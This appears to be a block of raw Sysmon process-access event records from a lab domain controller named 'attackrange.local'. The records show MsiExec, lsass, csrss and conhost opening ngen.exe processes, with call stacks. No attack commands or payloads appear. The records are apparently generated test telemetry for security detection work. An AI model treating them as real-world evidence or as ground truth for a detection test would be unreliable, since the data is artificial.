14:43:43.835{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1F-613B-7107-00000000F001}1380c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038864Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.835{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-6F07-00000000F001}6948c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038863Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.835{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-6F07-00000000F001}6948c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038862Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.819{7BD73061-6F1F-613B-7007-00000000F001}62241012C:\Windows\system32\conhost.exe{7BD73061-6F1F-613B-6F07-00000000F001}6948c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038861Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.804{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-7007-00000000F001}6224C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038860Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.804{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-6F07-00000000F001}6948c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038859Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.804{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1F-613B-6F07-00000000F001}6948c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038858Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.788{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-6D07-00000000F001}5640c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038857Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.788{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-6D07-00000000F001}5640c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038856Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.772{7BD73061-6F1F-613B-6E07-00000000F001}63841940C:\Windows\system32\conhost.exe{7BD73061-6F1F-613B-6D07-00000000F001}5640c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038855Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.772{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-6E07-00000000F001}6384C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038854Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.757{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-6D07-00000000F001}5640c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038853Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.757{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1F-613B-6D07-00000000F001}5640c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038852Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.757{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-6B07-00000000F001}6516c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038851Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.757{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-6B07-00000000F001}6516c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038850Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.725{7BD73061-6F1F-613B-6C07-00000000F001}59166380C:\Windows\system32\conhost.exe{7BD73061-6F1F-613B-6B07-00000000F001}6516c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038849Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.725{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-6C07-00000000F001}5916C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038848Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.725{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-6B07-00000000F001}6516c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038847Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.725{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1F-613B-6B07-00000000F001}6516c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038846Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.710{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-6907-00000000F001}5696c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038845Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.710{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-6907-00000000F001}5696c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038844Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.694{7BD73061-6F1F-613B-6A07-00000000F001}69846348C:\Windows\system32\conhost.exe{7BD73061-6F1F-613B-6907-00000000F001}5696c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038843Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.679{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-6A07-00000000F001}6984C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038842Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.679{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-6907-00000000F001}5696c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038841Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.679{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1F-613B-6907-00000000F001}5696c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038840Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.663{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-6707-00000000F001}5944c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038839Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.663{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-6707-00000000F001}5944c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038838Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.647{7BD73061-6F1F-613B-6807-00000000F001}52167004C:\Windows\system32\conhost.exe{7BD73061-6F1F-613B-6707-00000000F001}5944c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038837Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.647{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-6807-00000000F001}5216C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038836Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.647{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-6707-00000000F001}5944c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038835Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.647{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1F-613B-6707-00000000F001}5944c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SY